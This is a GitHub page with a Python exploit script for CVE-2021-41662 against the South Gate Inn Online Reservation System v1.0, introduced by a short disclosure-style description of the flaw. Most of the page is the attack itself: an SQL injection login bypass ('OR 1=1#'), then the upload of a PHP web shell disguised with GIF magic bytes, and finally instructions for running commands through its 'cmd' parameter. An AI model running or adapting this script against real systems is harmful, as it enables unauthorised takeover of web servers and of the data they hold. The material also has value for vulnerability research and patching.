CVE-2021-41662: 0dayHunt/SouthGateInn_RCE.py at main · janikwehrli1/0dayHunt

# Exploit Title: South Gate Inn Online Reservation System v1.0 - Remote Code Execution # Date: 21.09.2021 # Exploit Author: Janik Wehrli # Vendor Homepage: https://www.sourcecodester.com/php/10584/south-gate-inn-online-reservation-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/southgateinn.zip # Version: 1.0 # Tested On: Ubuntu 18.04,Windows 10 + XAMPP 7.4 #Description: # The South Gate Inn Online Reservation System suffers from an SQLi authentication Bypass which leads to Admin access on the application. # From there it’s possible to upload a malicious PHP file to the server by changing a Room Image (getimagesize PHP function bypass). # Both SQL queries and file validations are not handled properly, which leaves the Webserver in a vulnerable state. # The impact of this vulnerability is the compromise of the Webserver. import requests, sys from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE] S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT] info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' ' err = S[3] + F[2] + '[' + S[0] + S[3] + ‘!’ + S[3] + F[2] + ']' + S[0] + ' ' ok = S[3] + F[3] + '[' + S[0] + S[3] + ‘+’ + S[3] + F[3] + ']' + S[0] + ' ' ASCII_ART = “"” _.—._ /\\ ./’ "–`\// ./ o \ /./\ )______ \__ \ ./ / /\ \ | \ \ \ \ / / \ \ | |\ \ \7 " " " " SouthGateInn RCE v1.0 Janik Wehrli “"” # Set variables print(ASCII_ART) SERVER_URL = str( input(“Type in your SouthGateInn System v1.0 Location e.g http://192.168.20.20/southgateinn/SouthGateInn: \n”)) LOGIN_URL = SERVER_URL + ‘/admin/login.php’ UPLOAD_URL = SERVER_URL + “/admin/mod_room/controller.php?action=editimage” PWN_URL = SERVER_URL + “/admin/mod_room/rooms/” USERNAME = “’OR 1=1#” PASSWORD = “PWNED” WEBSHELL_NAME = “pwn.php” # Uncomment the bottom line to run the exploit through a proxy such as burp # proxies = {’http’:’http://127.0.0.1:8080’,’https’:’http://127.0.0.1:8080’} # Create a simple web session with python s = requests.Session() # GET request to webserver - Start a session & retrieve a session cookie get_session = s.get(LOGIN_URL, verify=False) # Check connection to website & print session cookie to terminal OR die if get_session.status_code == 200: print(ok + ‘Successfully connected to SouthGateInn System v1.0 server & created session.’) print(info + "Session Cookie: " + get_session.headers[‘Set-Cookie’]) else: print(err + ‘Cannot connect to the server and create a web session.’) sys.exit(-1) # 1. Bypass Login to get Admin access # POST data to bypass Authentication via SQL Injection login_data = {’username’: USERNAME, 'password’: PASSWORD, 'login’: '’} print( info + “Attempting to Login to SouthGateInn System v1.0 the following payload: " + “username:” + USERNAME + “:” + “password:” + PASSWORD) # auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies) auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True) if auth.status_code == 200: print(ok, “Login Success”) else: print(err, “Something Went Wrong”) # 2. Upload simple PHP Webshell to get command execution # Content-Disposition: form-data; name="image"; filename="pwn.php” # Content-Type: application/octet-stream webshell = { 'image’: ( WEBSHELL_NAME, 'GIF89a <?php echo shell_exec($_GET[“cmd”]);?>’, 'application/octet-stream’, {’Content-Disposition’: 'form-data’} ) } print(info + “Upload Webshell via insecure verification of images (getimagesize()) add GIF Magic Bytes”) print(info + “Send Post malicious POST Request to the Server”) upload_webshell = s.post(url=UPLOAD_URL, files=webshell, verify=False) if “window.location=’index.php’” in upload_webshell.text: print(ok, “Success”) print(ok, "Your Webshell is located under: " + PWN_URL + WEBSHELL_NAME) print(ok, "Execute Commands via the GET Parameter ‘cmd’ for e.g " + PWN_URL + WEBSHELL_NAME + “?cmd=whoami”) else: print(err, “Something Went Wrong”)